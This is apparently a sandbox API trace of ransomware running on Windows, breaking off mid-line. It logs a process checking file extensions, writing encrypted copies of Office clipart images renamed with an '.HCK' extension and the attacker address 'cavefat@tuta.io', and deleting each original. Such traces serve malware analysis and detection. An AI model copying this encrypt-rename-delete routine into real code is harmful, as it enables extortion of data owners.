[0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".1cd") returned 4 [0179.729] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".jpg") returned 4 [0179.729] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.729] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.729] lstrlenW (lpString="PH02223U.BMP") returned 12 [0179.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.731] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32184) returned 1 [0179.732] CloseHandle (hObject=0x300) returned 1 [0179.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp")) returned 0x220 [0179.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.741] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.741] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.746] GetLastError () returned 0x0 [0179.746] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0179.748] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0179.749] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.749] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.749] SetEndOfFile (hFile=0x300) returned 1 [0179.751] CloseHandle (hObject=0x300) returned 1 [0179.753] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.753] SetEndOfFile (hFile=0x39c) returned 1 [0179.758] CloseHandle (hObject=0x39c) returned 1 [0179.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp")) returned 1 [0179.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.760] lstrlenW (lpString=".doc") returned 4 [0179.760] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.760] lstrlenW (lpString=".docx") returned 5 [0179.760] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.760] lstrlenW (lpString=".pdf") returned 4 [0179.760] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.760] lstrlenW (lpString=".xls") returned 4 [0179.760] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.760] lstrlenW (lpString=".xlsx") returned 5 [0179.761] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.761] lstrlenW (lpString=".ppt") returned 4 [0179.761] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".zip") returned 4 [0179.761] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".rar") returned 4 [0179.761] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".bz2") returned 4 [0179.761] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".7z") returned 3 [0179.761] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".dbf") returned 4 [0179.761] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".1cd") returned 4 [0179.761] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".jpg") returned 4 [0179.761] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".doc") returned 4 [0179.761] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".docx") returned 5 [0179.761] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.761] lstrlenW (lpString=".pdf") returned 4 [0179.761] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".xls") returned 4 [0179.761] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".xlsx") returned 5 [0179.761] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.761] lstrlenW (lpString=".ppt") returned 4 [0179.761] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.761] lstrlenW (lpString=".zip") returned 4 [0179.761] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".rar") returned 4 [0179.761] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".bz2") returned 4 [0179.761] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.761] lstrlenW (lpString=".7z") returned 3 [0179.762] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.762] lstrlenW (lpString=".dbf") returned 4 [0179.762] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.762] lstrlenW (lpString=".1cd") returned 4 [0179.762] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP") returned 68 [0179.762] lstrlenW (lpString=".jpg") returned 4 [0179.762] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.762] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.762] lstrlenW (lpString="PH02417U.BMP") returned 12 [0179.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.764] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31968) returned 1 [0179.764] CloseHandle (hObject=0x368) returned 1 [0179.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp")) returned 0x220 [0179.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.772] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.772] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.774] GetLastError () returned 0x0 [0179.774] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.775] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.777] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.777] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.777] SetEndOfFile (hFile=0x300) returned 1 [0179.779] CloseHandle (hObject=0x300) returned 1 [0179.781] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.781] SetEndOfFile (hFile=0x2fc) returned 1 [0179.785] CloseHandle (hObject=0x2fc) returned 1 [0179.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp")) returned 1 [0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.787] lstrlenW (lpString=".doc") returned 4 [0179.787] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.787] lstrlenW (lpString=".docx") returned 5 [0179.787] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.787] lstrlenW (lpString=".pdf") returned 4 [0179.787] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.787] lstrlenW (lpString=".xls") returned 4 [0179.787] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.787] lstrlenW (lpString=".xlsx") returned 5 [0179.787] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.787] lstrlenW (lpString=".ppt") returned 4 [0179.788] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".zip") returned 4 [0179.788] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".rar") returned 4 [0179.788] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".bz2") returned 4 [0179.788] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".7z") returned 3 [0179.788] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".dbf") returned 4 [0179.788] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".1cd") returned 4 [0179.788] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".jpg") returned 4 [0179.788] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".doc") returned 4 [0179.788] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".docx") returned 5 [0179.788] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.788] lstrlenW (lpString=".pdf") returned 4 [0179.788] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".xls") returned 4 [0179.788] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".xlsx") returned 5 [0179.788] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.788] lstrlenW (lpString=".ppt") returned 4 [0179.788] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".zip") returned 4 [0179.788] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".rar") returned 4 [0179.788] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".bz2") returned 4 [0179.788] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.788] lstrlenW (lpString=".7z") returned 3 [0179.788] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.788] lstrlenW (lpString=".dbf") returned 4 [0179.789] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.789] lstrlenW (lpString=".1cd") returned 4 [0179.789] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 68 [0179.789] lstrlenW (lpString=".jpg") returned 4 [0179.789] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.789] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.789] lstrlenW (lpString="PH02567J.JPG") returned 12 [0179.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.790] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=33945) returned 1 [0179.790] CloseHandle (hObject=0x368) returned 1 [0179.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg")) returned 0x220 [0179.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.795] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.795] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.799] GetLastError () returned 0x0 [0179.799] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8499, lpOverlapped=0x0) returned 1 [0179.802] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x84a0, lpOverlapped=0x0) returned 1 [0179.803] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.803] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.803] SetEndOfFile (hFile=0x39c) returned 1 [0179.804] CloseHandle (hObject=0x39c) returned 1 [0179.805] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.805] SetEndOfFile (hFile=0x3a4) returned 1 [0179.811] CloseHandle (hObject=0x3a4) returned 1 [0179.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg")) returned 1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".doc") returned 4 [0179.814] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString=".docx") returned 5 [0179.814] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.814] lstrlenW (lpString=".pdf") returned 4 [0179.814] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xls") returned 4 [0179.814] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xlsx") returned 5 [0179.814] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.814] lstrlenW (lpString=".ppt") returned 4 [0179.814] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".zip") returned 4 [0179.814] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".rar") returned 4 [0179.814] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".bz2") returned 4 [0179.814] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString=".7z") returned 3 [0179.814] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".dbf") returned 4 [0179.814] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".1cd") returned 4 [0179.814] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".jpg") returned 4 [0179.814] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.814] lstrlenW (lpString=".doc") returned 4 [0179.814] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString=".docx") returned 5 [0179.814] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.814] lstrlenW (lpString=".pdf") returned 4 [0179.814] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xls") returned 4 [0179.814] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xlsx") returned 5 [0179.815] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.815] lstrlenW (lpString=".ppt") returned 4 [0179.815] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.815] lstrlenW (lpString=".zip") returned 4 [0179.815] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString=".rar") returned 4 [0179.815] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString=".bz2") returned 4 [0179.815] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.815] lstrlenW (lpString=".7z") returned 3 [0179.815] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.815] lstrlenW (lpString=".dbf") returned 4 [0179.815] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.815] lstrlenW (lpString=".1cd") returned 4 [0179.815] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.815] lstrlenW (lpString="C:\\Program 